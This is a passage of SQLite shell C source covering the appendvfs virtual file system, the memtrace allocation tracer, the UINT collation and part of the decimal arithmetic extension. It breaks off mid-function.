apndUnlock, /* xUnlock */
apndCheckReservedLock, /* xCheckReservedLock */
apndFileControl, /* xFileControl */
apndSectorSize, /* xSectorSize */
apndDeviceCharacteristics, /* xDeviceCharacteristics */
apndShmMap, /* xShmMap */
apndShmLock, /* xShmLock */
apndShmBarrier, /* xShmBarrier */
apndShmUnmap, /* xShmUnmap */
apndFetch, /* xFetch */
apndUnfetch /* xUnfetch */
};
/*
** Close an apnd-file.
*/
static int apndClose(sqlite3_file *pFile){
pFile = ORIGFILE(pFile);
return pFile->pMethods->xClose(pFile);
}
/*
** Read data from an apnd-file.
*/
static int apndRead(
sqlite3_file *pFile,
void *zBuf,
int iAmt,
sqlite_int64 iOfst
){
ApndFile *paf = (ApndFile *)pFile;
pFile = ORIGFILE(pFile);
return pFile->pMethods->xRead(pFile, zBuf, iAmt, paf->iPgOne+iOfst);
}
/*
** Add the append-mark onto what should become the end of the file.
* If and only if this succeeds, internal ApndFile.iMark is updated.
* Parameter iWriteEnd is the appendvfs-relative offset of the new mark.
*/
static int apndWriteMark(
ApndFile *paf,
sqlite3_file *pFile,
sqlite_int64 iWriteEnd
){
sqlite_int64 iPgOne = paf->iPgOne;
unsigned char a[APND_MARK_SIZE];
int i = APND_MARK_FOS_SZ;
int rc;
assert(pFile == ORIGFILE(paf));
memcpy(a, APND_MARK_PREFIX, APND_MARK_PREFIX_SZ);
while( --i >= 0 ){
a[APND_MARK_PREFIX_SZ+i] = (unsigned char)(iPgOne & 0xff);
iPgOne >>= 8;
}
iWriteEnd += paf->iPgOne;
if( SQLITE_OK==(rc = pFile->pMethods->xWrite
(pFile, a, APND_MARK_SIZE, iWriteEnd)) ){
paf->iMark = iWriteEnd;
}
return rc;
}
/*
** Write data to an apnd-file.
*/
static int apndWrite(
sqlite3_file *pFile,
const void *zBuf,
int iAmt,
sqlite_int64 iOfst
){
ApndFile *paf = (ApndFile *)pFile;
sqlite_int64 iWriteEnd = iOfst + iAmt;
if( iWriteEnd>=APND_MAX_SIZE ) return SQLITE_FULL;
pFile = ORIGFILE(pFile);
/* If append-mark is absent or will be overwritten, write it. */
if( paf->iMark < 0 || paf->iPgOne + iWriteEnd > paf->iMark ){
int rc = apndWriteMark(paf, pFile, iWriteEnd);
if( SQLITE_OK!=rc ) return rc;
}
return pFile->pMethods->xWrite(pFile, zBuf, iAmt, paf->iPgOne+iOfst);
}
/*
** Truncate an apnd-file.
*/
static int apndTruncate(sqlite3_file *pFile, sqlite_int64 size){
ApndFile *paf = (ApndFile *)pFile;
pFile = ORIGFILE(pFile);
/* The append mark goes out first so truncate failure does not lose it. */
if( SQLITE_OK!=apndWriteMark(paf, pFile, size) ) return SQLITE_IOERR;
/* Truncate underlying file just past append mark */
return pFile->pMethods->xTruncate(pFile, paf->iMark+APND_MARK_SIZE);
}
/*
** Sync an apnd-file.
*/
static int apndSync(sqlite3_file *pFile, int flags){
pFile = ORIGFILE(pFile);
return pFile->pMethods->xSync(pFile, flags);
}
/*
** Return the current file-size of an apnd-file.
** If the append mark is not yet there, the file-size is 0.
*/
static int apndFileSize(sqlite3_file *pFile, sqlite_int64 *pSize){
ApndFile *paf = (ApndFile *)pFile;
*pSize = ( paf->iMark >= 0 )? (paf->iMark - paf->iPgOne) : 0;
return SQLITE_OK;
}
/*
** Lock an apnd-file.
*/
static int apndLock(sqlite3_file *pFile, int eLock){
pFile = ORIGFILE(pFile);
return pFile->pMethods->xLock(pFile, eLock);
}
/*
** Unlock an apnd-file.
*/
static int apndUnlock(sqlite3_file *pFile, int eLock){
pFile = ORIGFILE(pFile);
return pFile->pMethods->xUnlock(pFile, eLock);
}
/*
** Check if another file-handle holds a RESERVED lock on an apnd-file.
*/
static int apndCheckReservedLock(sqlite3_file *pFile, int *pResOut){
pFile = ORIGFILE(pFile);
return pFile->pMethods->xCheckReservedLock(pFile, pResOut);
}
/*
** File control method. For custom operations on an apnd-file.
*/
static int apndFileControl(sqlite3_file *pFile, int op, void *pArg){
ApndFile *paf = (ApndFile *)pFile;
int rc;
pFile = ORIGFILE(pFile);
if( op==SQLITE_FCNTL_SIZE_HINT ) *(sqlite3_int64*)pArg += paf->iPgOne;
rc = pFile->pMethods->xFileControl(pFile, op, pArg);
if( rc==SQLITE_OK && op==SQLITE_FCNTL_VFSNAME ){
*(char**)pArg = sqlite3_mprintf("apnd(%lld)/%z", paf->iPgOne,*(char**)pArg);
}
return rc;
}
/*
** Return the sector-size in bytes for an apnd-file.
*/
static int apndSectorSize(sqlite3_file *pFile){
pFile = ORIGFILE(pFile);
return pFile->pMethods->xSectorSize(pFile);
}
/*
** Return the device characteristic flags supported by an apnd-file.
*/
static int apndDeviceCharacteristics(sqlite3_file *pFile){
pFile = ORIGFILE(pFile);
return pFile->pMethods->xDeviceCharacteristics(pFile);
}
/* Create a shared memory file mapping */
static int apndShmMap(
sqlite3_file *pFile,
int iPg,
int pgsz,
int bExtend,
void volatile **pp
){
pFile = ORIGFILE(pFile);
return pFile->pMethods->xShmMap(pFile,iPg,pgsz,bExtend,pp);
}
/* Perform locking on a shared-memory segment */
static int apndShmLock(sqlite3_file *pFile, int offset, int n, int flags){
pFile = ORIGFILE(pFile);
return pFile->pMethods->xShmLock(pFile,offset,n,flags);
}
/* Memory barrier operation on shared memory */
static void apndShmBarrier(sqlite3_file *pFile){
pFile = ORIGFILE(pFile);
pFile->pMethods->xShmBarrier(pFile);
}
/* Unmap a shared memory segment */
static int apndShmUnmap(sqlite3_file *pFile, int deleteFlag){
pFile = ORIGFILE(pFile);
return pFile->pMethods->xShmUnmap(pFile,deleteFlag);
}
/* Fetch a page of a memory-mapped file */
static int apndFetch(
sqlite3_file *pFile,
sqlite3_int64 iOfst,
int iAmt,
void **pp
){
ApndFile *p = (ApndFile *)pFile;
if( p->iMark < 0 || iOfst+iAmt > p->iMark ){
return SQLITE_IOERR; /* Cannot read what is not yet there. */
}
pFile = ORIGFILE(pFile);
return pFile->pMethods->xFetch(pFile, iOfst+p->iPgOne, iAmt, pp);
}
/* Release a memory-mapped page */
static int apndUnfetch(sqlite3_file *pFile, sqlite3_int64 iOfst, void *pPage){
ApndFile *p = (ApndFile *)pFile;
pFile = ORIGFILE(pFile);
return pFile->pMethods->xUnfetch(pFile, iOfst+p->iPgOne, pPage);
}
/*
** Try to read the append-mark off the end of a file. Return the
** start of the appended database if the append-mark is present.
** If there is no valid append-mark, return -1;
**
** An append-mark is only valid if the NNNNNNNN start-of-database offset
** indicates that the appended database contains at least one page. The
** start-of-database value must be a multiple of 512.
*/
static sqlite3_int64 apndReadMark(sqlite3_int64 sz, sqlite3_file *pFile){
int rc, i;
sqlite3_int64 iMark;
int msbs = 8 * (APND_MARK_FOS_SZ-1);
unsigned char a[APND_MARK_SIZE];
if( APND_MARK_SIZE!=(sz & 0x1ff) ) return -1;
rc = pFile->pMethods->xRead(pFile, a, APND_MARK_SIZE, sz-APND_MARK_SIZE);
if( rc ) return -1;
if( memcmp(a, APND_MARK_PREFIX, APND_MARK_PREFIX_SZ)!=0 ) return -1;
iMark = ((sqlite3_int64)(a[APND_MARK_PREFIX_SZ] & 0x7f)) << msbs;
for(i=1; i<8; i++){
msbs -= 8;
iMark |= (sqlite3_int64)a[APND_MARK_PREFIX_SZ+i]<<msbs;
}
if( iMark > (sz - APND_MARK_SIZE - 512) ) return -1;
if( iMark & 0x1ff ) return -1;
return iMark;
}
static const char apvfsSqliteHdr[] = "SQLite format 3";
/*
** Check to see if the file is an appendvfs SQLite database file.
** Return true iff it is such. Parameter sz is the file's size.
*/
static int apndIsAppendvfsDatabase(sqlite3_int64 sz, sqlite3_file *pFile){
int rc;
char zHdr[16];
sqlite3_int64 iMark = apndReadMark(sz, pFile);
if( iMark>=0 ){
/* If file has the correct end-marker, the expected odd size, and the
** SQLite DB type marker where the end-marker puts it, then it
** is an appendvfs database.
*/
rc = pFile->pMethods->xRead(pFile, zHdr, sizeof(zHdr), iMark);
if( SQLITE_OK==rc
&& memcmp(zHdr, apvfsSqliteHdr, sizeof(zHdr))==0
&& (sz & 0x1ff) == APND_MARK_SIZE
&& sz>=512+APND_MARK_SIZE
){
return 1; /* It's an appendvfs database */
}
}
return 0;
}
/*
** Check to see if the file is an ordinary SQLite database file.
** Return true iff so. Parameter sz is the file's size.
*/
static int apndIsOrdinaryDatabaseFile(sqlite3_int64 sz, sqlite3_file *pFile){
char zHdr[16];
if( apndIsAppendvfsDatabase(sz, pFile) /* rule 2 */
|| (sz & 0x1ff) != 0
|| SQLITE_OK!=pFile->pMethods->xRead(pFile, zHdr, sizeof(zHdr), 0)
|| memcmp(zHdr, apvfsSqliteHdr, sizeof(zHdr))!=0
){
return 0;
}else{
return 1;
}
}
/*
** Open an apnd file handle.
*/
static int apndOpen(
sqlite3_vfs *pApndVfs,
const char *zName,
sqlite3_file *pFile,
int flags,
int *pOutFlags
){
ApndFile *pApndFile = (ApndFile*)pFile;
sqlite3_file *pBaseFile = ORIGFILE(pFile);
sqlite3_vfs *pBaseVfs = ORIGVFS(pApndVfs);
int rc;
sqlite3_int64 sz = 0;
if( (flags & SQLITE_OPEN_MAIN_DB)==0 ){
/* The appendvfs is not to be used for transient or temporary databases.
** Just use the base VFS open to initialize the given file object and
** open the underlying file. (Appendvfs is then unused for this file.)
*/
return pBaseVfs->xOpen(pBaseVfs, zName, pFile, flags, pOutFlags);
}
memset(pApndFile, 0, sizeof(ApndFile));
pFile->pMethods = &apnd_io_methods;
pApndFile->iMark = -1; /* Append mark not yet written */
rc = pBaseVfs->xOpen(pBaseVfs, zName, pBaseFile, flags, pOutFlags);
if( rc==SQLITE_OK ){
rc = pBaseFile->pMethods->xFileSize(pBaseFile, &sz);
if( rc ){
pBaseFile->pMethods->xClose(pBaseFile);
}
}
if( rc ){
pFile->pMethods = 0;
return rc;
}
if( apndIsOrdinaryDatabaseFile(sz, pBaseFile) ){
/* The file being opened appears to be just an ordinary DB. Copy
** the base dispatch-table so this instance mimics the base VFS.
*/
memmove(pApndFile, pBaseFile, pBaseVfs->szOsFile);
return SQLITE_OK;
}
pApndFile->iPgOne = apndReadMark(sz, pFile);
if( pApndFile->iPgOne>=0 ){
pApndFile->iMark = sz - APND_MARK_SIZE; /* Append mark found */
return SQLITE_OK;
}
if( (flags & SQLITE_OPEN_CREATE)==0 ){
pBaseFile->pMethods->xClose(pBaseFile);
rc = SQLITE_CANTOPEN;
pFile->pMethods = 0;
}else{
/* Round newly added appendvfs location to #define'd page boundary.
** Note that nothing has yet been written to the underlying file.
** The append mark will be written along with first content write.
** Until then, paf->iMark value indicates it is not yet written.
*/
pApndFile->iPgOne = APND_START_ROUNDUP(sz);
}
return rc;
}
/*
** Delete an apnd file.
** For an appendvfs, this could mean delete the appendvfs portion,
** leaving the appendee as it was before it gained an appendvfs.
** For now, this code deletes the underlying file too.
*/
static int apndDelete(sqlite3_vfs *pVfs, const char *zPath, int dirSync){
return ORIGVFS(pVfs)->xDelete(ORIGVFS(pVfs), zPath, dirSync);
}
/*
** All other VFS methods are pass-thrus.
*/
static int apndAccess(
sqlite3_vfs *pVfs,
const char *zPath,
int flags,
int *pResOut
){
return ORIGVFS(pVfs)->xAccess(ORIGVFS(pVfs), zPath, flags, pResOut);
}
static int apndFullPathname(
sqlite3_vfs *pVfs,
const char *zPath,
int nOut,
char *zOut
){
return ORIGVFS(pVfs)->xFullPathname(ORIGVFS(pVfs),zPath,nOut,zOut);
}
static void *apndDlOpen(sqlite3_vfs *pVfs, const char *zPath){
return ORIGVFS(pVfs)->xDlOpen(ORIGVFS(pVfs), zPath);
}
static void apndDlError(sqlite3_vfs *pVfs, int nByte, char *zErrMsg){
ORIGVFS(pVfs)->xDlError(ORIGVFS(pVfs), nByte, zErrMsg);
}
static void (*apndDlSym(sqlite3_vfs *pVfs, void *p, const char *zSym))(void){
return ORIGVFS(pVfs)->xDlSym(ORIGVFS(pVfs), p, zSym);
}
static void apndDlClose(sqlite3_vfs *pVfs, void *pHandle){
ORIGVFS(pVfs)->xDlClose(ORIGVFS(pVfs), pHandle);
}
static int apndRandomness(sqlite3_vfs *pVfs, int nByte, char *zBufOut){
return ORIGVFS(pVfs)->xRandomness(ORIGVFS(pVfs), nByte, zBufOut);
}
static int apndSleep(sqlite3_vfs *pVfs, int nMicro){
return ORIGVFS(pVfs)->xSleep(ORIGVFS(pVfs), nMicro);
}
static int apndCurrentTime(sqlite3_vfs *pVfs, double *pTimeOut){
return ORIGVFS(pVfs)->xCurrentTime(ORIGVFS(pVfs), pTimeOut);
}
static int apndGetLastError(sqlite3_vfs *pVfs, int a, char *b){
return ORIGVFS(pVfs)->xGetLastError(ORIGVFS(pVfs), a, b);
}
static int apndCurrentTimeInt64(sqlite3_vfs *pVfs, sqlite3_int64 *p){
return ORIGVFS(pVfs)->xCurrentTimeInt64(ORIGVFS(pVfs), p);
}
static int apndSetSystemCall(
sqlite3_vfs *pVfs,
const char *zName,
sqlite3_syscall_ptr pCall
){
return ORIGVFS(pVfs)->xSetSystemCall(ORIGVFS(pVfs),zName,pCall);
}
static sqlite3_syscall_ptr apndGetSystemCall(
sqlite3_vfs *pVfs,
const char *zName
){
return ORIGVFS(pVfs)->xGetSystemCall(ORIGVFS(pVfs),zName);
}
static const char *apndNextSystemCall(sqlite3_vfs *pVfs, const char *zName){
return ORIGVFS(pVfs)->xNextSystemCall(ORIGVFS(pVfs), zName);
}
#ifdef _WIN32
#endif
/*
** This routine is called when the extension is loaded.
** Register the new VFS.
*/
int sqlite3_appendvfs_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
sqlite3_vfs *pOrig;
SQLITE_EXTENSION_INIT2(pApi);
(void)pzErrMsg;
(void)db;
pOrig = sqlite3_vfs_find(0);
if( pOrig==0 ) return SQLITE_ERROR;
apnd_vfs.iVersion = pOrig->iVersion;
apnd_vfs.pAppData = pOrig;
apnd_vfs.szOsFile = pOrig->szOsFile + sizeof(ApndFile);
rc = sqlite3_vfs_register(&apnd_vfs, 0);
#ifdef APPENDVFS_TEST
if( rc==SQLITE_OK ){
rc = sqlite3_auto_extension((void(*)(void))apndvfsRegister);
}
#endif
if( rc==SQLITE_OK ) rc = SQLITE_OK_LOAD_PERMANENTLY;
return rc;
}
/************************* End ../ext/misc/appendvfs.c ********************/
/************************* Begin ../ext/misc/memtrace.c ******************/
/*
** 2019-01-21
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
*************************************************************************
**
** This file implements an extension that uses the SQLITE_CONFIG_MALLOC
** mechanism to add a tracing layer on top of SQLite. If this extension
** is registered prior to sqlite3_initialize(), it will cause all memory
** allocation activities to be logged on standard output, or to some other
** FILE specified by the initializer.
**
** This file needs to be compiled into the application that uses it.
**
** This extension is used to implement the --memtrace option of the
** command-line shell.
*/
#include <assert.h>
#include <string.h>
#include <stdio.h>
/* The original memory allocation routines */
static sqlite3_mem_methods memtraceBase;
static FILE *memtraceOut;
/* Methods that trace memory allocations */
static void *memtraceMalloc(int n){
if( memtraceOut ){
fprintf(memtraceOut, "MEMTRACE: allocate %d bytes\n",
memtraceBase.xRoundup(n));
}
return memtraceBase.xMalloc(n);
}
static void memtraceFree(void *p){
if( p==0 ) return;
if( memtraceOut ){
fprintf(memtraceOut, "MEMTRACE: free %d bytes\n", memtraceBase.xSize(p));
}
memtraceBase.xFree(p);
}
static void *memtraceRealloc(void *p, int n){
if( p==0 ) return memtraceMalloc(n);
if( n==0 ){
memtraceFree(p);
return 0;
}
if( memtraceOut ){
fprintf(memtraceOut, "MEMTRACE: resize %d -> %d bytes\n",
memtraceBase.xSize(p), memtraceBase.xRoundup(n));
}
return memtraceBase.xRealloc(p, n);
}
static int memtraceSize(void *p){
return memtraceBase.xSize(p);
}
static int memtraceRoundup(int n){
return memtraceBase.xRoundup(n);
}
static int memtraceInit(void *p){
return memtraceBase.xInit(p);
}
static void memtraceShutdown(void *p){
memtraceBase.xShutdown(p);
}
/* The substitute memory allocator */
static sqlite3_mem_methods ersaztMethods = {
memtraceMalloc,
memtraceFree,
memtraceRealloc,
memtraceSize,
memtraceRoundup,
memtraceInit,
memtraceShutdown,
0
};
/* Begin tracing memory allocations to out. */
int sqlite3MemTraceActivate(FILE *out){
int rc = SQLITE_OK;
if( memtraceBase.xMalloc==0 ){
rc = sqlite3_config(SQLITE_CONFIG_GETMALLOC, &memtraceBase);
if( rc==SQLITE_OK ){
rc = sqlite3_config(SQLITE_CONFIG_MALLOC, &ersaztMethods);
}
}
memtraceOut = out;
return rc;
}
/* Deactivate memory tracing */
int sqlite3MemTraceDeactivate(void){
int rc = SQLITE_OK;
if( memtraceBase.xMalloc!=0 ){
rc = sqlite3_config(SQLITE_CONFIG_MALLOC, &memtraceBase);
if( rc==SQLITE_OK ){
memset(&memtraceBase, 0, sizeof(memtraceBase));
}
}
memtraceOut = 0;
return rc;
}
/************************* End ../ext/misc/memtrace.c ********************/
/************************* Begin ../ext/misc/uint.c ******************/
/*
** 2020-04-14
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
******************************************************************************
**
** This SQLite extension implements the UINT collating sequence.
**
** UINT works like BINARY for text, except that embedded strings
** of digits compare in numeric order.
**
** * Leading zeros are handled properly, in the sense that
** they do not mess of the maginitude comparison of embedded
** strings of digits. "x00123y" is equal to "x123y".
**
** * Only unsigned integers are recognized. Plus and minus
** signs are ignored. Decimal points and exponential notation
** are ignored.
**
** * Embedded integers can be of arbitrary length. Comparison
** is *not* limited integers that can be expressed as a
** 64-bit machine integer.
*/
/* #include "sqlite3ext.h" */
SQLITE_EXTENSION_INIT1
#include <assert.h>
#include <string.h>
#include <ctype.h>
/*
** Compare text in lexicographic order, except strings of digits
** compare in numeric order.
*/
static int uintCollFunc(
void *notUsed,
int nKey1, const void *pKey1,
int nKey2, const void *pKey2
){
const unsigned char *zA = (const unsigned char*)pKey1;
const unsigned char *zB = (const unsigned char*)pKey2;
int i=0, j=0, x;
(void)notUsed;
while( i<nKey1 && j<nKey2 ){
x = zA[i] - zB[j];
if( isdigit(zA[i]) ){
int k;
if( !isdigit(zB[j]) ) return x;
while( i<nKey1 && zA[i]=='0' ){ i++; }
while( j<nKey2 && zB[j]=='0' ){ j++; }
k = 0;
while( i+k<nKey1 && isdigit(zA[i+k])
&& j+k<nKey2 && isdigit(zB[j+k]) ){
k++;
}
if( i+k<nKey1 && isdigit(zA[i+k]) ){
return +1;
}else if( j+k<nKey2 && isdigit(zB[j+k]) ){
return -1;
}else{
x = memcmp(zA+i, zB+j, k);
if( x ) return x;
i += k;
j += k;
}
}else if( x ){
return x;
}else{
i++;
j++;
}
}
return (nKey1 - i) - (nKey2 - j);
}
#ifdef _WIN32
#endif
int sqlite3_uint_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
SQLITE_EXTENSION_INIT2(pApi);
(void)pzErrMsg; /* Unused parameter */
return sqlite3_create_collation(db, "uint", SQLITE_UTF8, 0, uintCollFunc);
}
/************************* End ../ext/misc/uint.c ********************/
/************************* Begin ../ext/misc/decimal.c ******************/
/*
** 2020-06-22
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
******************************************************************************
**
** Routines to implement arbitrary-precision decimal math.
**
** The focus here is on simplicity and correctness, not performance.
*/
/* #include "sqlite3ext.h" */
SQLITE_EXTENSION_INIT1
#include <assert.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
/* Mark a function parameter as unused, to suppress nuisance compiler
** warnings. */
#ifndef UNUSED_PARAMETER
# define UNUSED_PARAMETER(X) (void)(X)
#endif
/* A decimal object */
typedef struct Decimal Decimal;
struct Decimal {
char sign; /* 0 for positive, 1 for negative */
char oom; /* True if an OOM is encountered */
char isNull; /* True if holds a NULL rather than a number */
char isInit; /* True upon initialization */
int nDigit; /* Total number of digits */
int nFrac; /* Number of digits to the right of the decimal point */
signed char *a; /* Array of digits. Most significant first. */
};
/*
** Release memory held by a Decimal, but do not free the object itself.
*/
static void decimal_clear(Decimal *p){
sqlite3_free(p->a);
}
/*
** Destroy a Decimal object
*/
static void decimal_free(Decimal *p){
if( p ){
decimal_clear(p);
sqlite3_free(p);
}
}
/*
** Allocate a new Decimal object. Initialize it to the number given
** by the input string.
*/
static Decimal *decimal_new(
sqlite3_context *pCtx,
sqlite3_value *pIn,
int nAlt,
const unsigned char *zAlt
){
Decimal *p;
int n, i;
const unsigned char *zIn;
int iExp = 0;
p = sqlite3_malloc( sizeof(*p) );
if( p==0 ) goto new_no_mem;
p->sign = 0;
p->oom = 0;
p->isInit = 1;
p->isNull = 0;
p->nDigit = 0;
p->nFrac = 0;
if( zAlt ){
n = nAlt,
zIn = zAlt;
}else{
if( sqlite3_value_type(pIn)==SQLITE_NULL ){
p->a = 0;
p->isNull = 1;
return p;
}
n = sqlite3_value_bytes(pIn);
zIn = sqlite3_value_text(pIn);
}
p->a = sqlite3_malloc64( n+1 );
if( p->a==0 ) goto new_no_mem;
for(i=0; isspace(zIn[i]); i++){}
if( zIn[i]=='-' ){
p->sign = 1;
i++;
}else if( zIn[i]=='+' ){
i++;
}
while( i<n && zIn[i]=='0' ) i++;
while( i<n ){
char c = zIn[i];
if( c>='0' && c<='9' ){
p->a[p->nDigit++] = c - '0';
}else if( c=='.' ){
p->nFrac = p->nDigit + 1;
}else if( c=='e' || c=='E' ){
int j = i+1;
int neg = 0;
if( j>=n ) break;
if( zIn[j]=='-' ){
neg = 1;
j++;
}else if( zIn[j]=='+' ){
j++;
}
while( j<n && iExp<1000000 ){
if( zIn[j]>='0' && zIn[j]<='9' ){
iExp = iExp*10 + zIn[j] - '0';
}
j++;
}
if( neg ) iExp = -iExp;
break;
}
i++;
}
if( p->nFrac ){
p->nFrac = p->nDigit - (p->nFrac - 1);
}
if( iExp>0 ){
if( p->nFrac>0 ){
if( iExp<=p->nFrac ){
p->nFrac -= iExp;
iExp = 0;
}else{
iExp -= p->nFrac;
p->nFrac = 0;
}
}
if( iExp>0 ){
p->a = sqlite3_realloc64(p->a, p->nDigit + iExp + 1 );
if( p->a==0 ) goto new_no_mem;
memset(p->a+p->nDigit, 0, iExp);
p->nDigit += iExp;
}
}else if( iExp<0 ){
int nExtra;
iExp = -iExp;
nExtra = p->nDigit - p->nFrac - 1;
if( nExtra ){
if( nExtra>=iExp ){
p->nFrac += iExp;
iExp = 0;
}else{
iExp -= nExtra;
p->nFrac = p->nDigit - 1;
}
}
if( iExp>0 ){
p->a = sqlite3_realloc64(p->a, p->nDigit + iExp + 1 );
if( p->a==0 ) goto new_no_mem;
memmove(p->a+iExp, p->a, p->nDigit);
memset(p->a, 0, iExp);
p->nDigit += iExp;
p->nFrac += iExp;
}
}
return p;
new_no_mem:
if( pCtx ) sqlite3_result_error_nomem(pCtx);
sqlite3_free(p);
return 0;
}
/*
** Make the given Decimal the result.
*/
static void decimal_result(sqlite3_context *pCtx, Decimal *p){
char *z;
int i, j;
int n;
if( p==0 || p->oom ){
sqlite3_result_error_nomem(pCtx);
return;
}
if( p->isNull ){
sqlite3_result_null(pCtx);
return;
}
z = sqlite3_malloc( p->nDigit+4 );
if( z==0 ){
sqlite3_result_error_nomem(pCtx);
return;
}
i = 0;
if( p->nDigit==0 || (p->nDigit==1 && p->a[0]==0) ){
p->sign = 0;
}
if( p->sign ){
z[0] = '-';
i = 1;
}
n = p->nDigit - p->nFrac;
if( n<=0 ){
z[i++] = '0';
}
j = 0;
while( n>1 && p->a[j]==0 ){
j++;
n--;
}
while( n>0 ){
z[i++] = p->a[j] + '0';
j++;
n--;
}
if( p->nFrac ){
z[i++] = '.';
do{
z[i++] = p->a[j] + '0';
j++;
}while( j<p->nDigit );
}
z[i] = 0;
sqlite3_result_text(pCtx, z, i, sqlite3_free);
}
/*
** SQL Function: decimal(X)
**
** Convert input X into decimal and then back into text
*/
static void decimalFunc(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
Decimal *p = decimal_new(context, argv[0], 0, 0);
UNUSED_PARAMETER(argc);
decimal_result(context, p);
decimal_free(p);
}
/*
** Compare to Decimal objects. Return negative, 0, or positive if the
** first object is less than, equal to, or greater than the second.
**
** Preconditions for this routine:
**
** pA!=0
** pA->isNull==0
** pB!=0
** pB->isNull==0
*/
static int decimal_cmp(const Decimal *pA, const Decimal *pB){
int nASig, nBSig, rc, n;
if( pA->sign!=pB->sign ){
return pA->sign ? -1 : +1;
}
if( pA->sign ){
const Decimal *pTemp = pA;
pA = pB;
pB = pTemp;
}
nASig = pA->nDigit - pA->nFrac;
nBSig = pB->nDigit - pB->nFrac;
if( nASig!=nBSig ){
return nASig - nBSig;
}
n = pA->nDigit;
if( n>pB->nDigit ) n = pB->nDigit;
rc = memcmp(pA->a, pB->a, n);
if( rc==0 ){
rc = pA->nDigit - pB->nDigit;
}
return rc;
}
/*
** SQL Function: decimal_cmp(X, Y)
**
** Return negative, zero, or positive if X is less then, equal to, or
** greater than Y.
*/
static void decimalCmpFunc(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
Decimal *pA = 0, *pB = 0;
int rc;
UNUSED_PARAMETER(argc);
pA = decimal_new(context, argv[0], 0, 0);
if( pA==0 || pA->isNull ) goto cmp_done;
pB = decimal_new(context, argv[1], 0, 0);
if( pB==0 || pB->isNull ) goto cmp_done;
rc = decimal_cmp(pA, pB);
if( rc<0 ) rc = -1;
else if( rc>0 ) rc = +1;
sqlite3_result_int(context, rc);
cmp_done:
decimal_free(pA);
decimal_free(pB);
}
/*
** Expand the Decimal so that it has a least nDigit digits and nFrac
** digits to the right of the decimal point.
*/
static void decimal_expand(Decimal *p, int nDigit, int nFrac){
int nAddSig;
int nAddFrac;
if( p==0 ) return;
nAddFrac = nFrac - p->nFrac;
nAddSig = (nDigit - p->nDigit) - nAddFrac;
if( nAddFrac==0 && nAddSig==0 ) return;
p->a = sqlite3_realloc64(p->a, nDigit+1);
if( p->a==0 ){
p->oom = 1;
return;
}
if( nAddSig ){
memmove(p->a+nAddSig, p->a, p->nDigit);
memset(p->a, 0, nAddSig);
p->nDigit += nAddSig;
}
if( nAddFrac ){
memset(p->a+p->nDigit, 0, nAddFrac);
p->nDigit += nAddFrac;
p->nFrac += nAddFrac;
}
}
/*
** Add the value pB into pA.
**
** Both pA and pB might become denormalized by this routine.
*/
static void decimal_add(Decimal *pA, Decimal *pB){
int nSig, nFrac, nDigit;
int i, rc;
if( pA==0 ){
return;
}
if( pA->oom || pB==0 || pB->oom ){
pA->oom = 1;
return;
}
if( pA->isNull || pB->isNull ){
pA->isNull = 1;
return;
}
nSig = pA->nDigit - pA->nFrac;
if( nSig && pA->a[0]==0 ) nSig--;
if( nSig<pB->nDigit-pB->nFrac ){
nSig = pB->nDigit - pB->nFrac;
}
nFrac = pA->nFrac;
if( nFrac<pB->nFrac ) nFrac = pB->nFrac;
nDigit = nSig + nFrac + 1;
decimal_expand(pA, nDigit, nFrac);
decimal_expand(pB, nDigit, nFrac);
if( pA->oom || pB->oom ){
pA->oom = 1;
}else{
if( pA->sign==pB->sign ){
int carry = 0;
for(i=nDigit-1; i>=0; i--){
int x = pA->a[i] + pB->a[i] + carry;
if( x>=10 ){
carry = 1;
pA->a[i] = x - 10;
}else{
carry = 0;
pA->a[i] = x;
}
}
}else{
signed char *aA, *aB;
int borrow = 0;
rc = memcmp(pA->a, pB->a, nDigit);
if( rc<0 ){
aA = pB->a;
aB = pA->a;
pA->sign = !pA->sign;
}else{
aA = pA->a;
aB = pB->a;
}
for(i=nDigit-1; i>=0; i--){
int x = aA[i] - aB[i] - borrow;
if( x<0 ){
pA->a[i] = x+10;
borrow = 1;
}else{
pA->a[i] = x;
borrow = 0;
}
}
}
}
}
/*
** Compare text in decimal order.
*/
static int decimalCollFunc(
void *notUsed,
int nKey1, const void *pKey1,
int nKey2, const void *pKey2
){
const unsigned char *zA = (const unsigned char*)pKey1;
const unsigned char *zB = (const unsigned char*)pKey2;
Decimal *pA = decimal_new(0, 0, nKey1, zA);
Decimal *pB = decimal_new(0, 0, nKey2, zB);
int rc;
UNUSED_PARAMETER(notUsed);
if( pA==0 || pB==0 ){
rc = 0;
}else{
rc = decimal_cmp(pA, pB);
}
decimal_free(pA);
decimal_free(pB);
return rc;
}
/*
** SQL Function: decimal_add(X, Y)
** decimal_sub(X, Y)
**
** Return the sum or difference of X and Y.
*/
static void decimalAddFunc(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
Decimal *pA = decimal_new(context, argv[0], 0, 0);
Decimal *pB = decimal_new(context, argv[1], 0, 0);
UNUSED_PARAMETER(argc);
decimal_add(pA, pB);
decimal_result(context, pA);
decimal_free(pA);
decimal_free(pB);
}
static void decimalSubFunc(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
Decimal *pA = decimal_new(context, argv[0], 0, 0);
Decimal *pB = decimal_new(context, argv[1], 0, 0);
UNUSED_PARAMETER(argc);
if( pB ){
pB->sign = !pB->sign;
decimal_add(pA, pB);
decimal_result(context, pA);
}
decimal_free(pA);
decimal_free(pB);
}
/* Aggregate funcion: decimal_sum(X)
**
** Works like sum() except that it uses decimal arithmetic for unlimited
** precision.
*/
static void decimalSumStep(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
Decimal *p;
Decimal *pArg;
UNUSED_PARAMETER(argc);
p = sqlite3_aggregate_context(context, sizeof(*p));
if( p==0 ) return;
if( !p->isInit ){
p->isInit = 1;
